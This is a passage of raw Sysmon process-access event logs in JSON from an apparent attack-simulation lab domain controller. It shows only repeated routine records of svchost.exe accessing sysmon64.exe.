C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1195,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1196,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1197,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1198,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1199,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1200,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1201,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1202,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 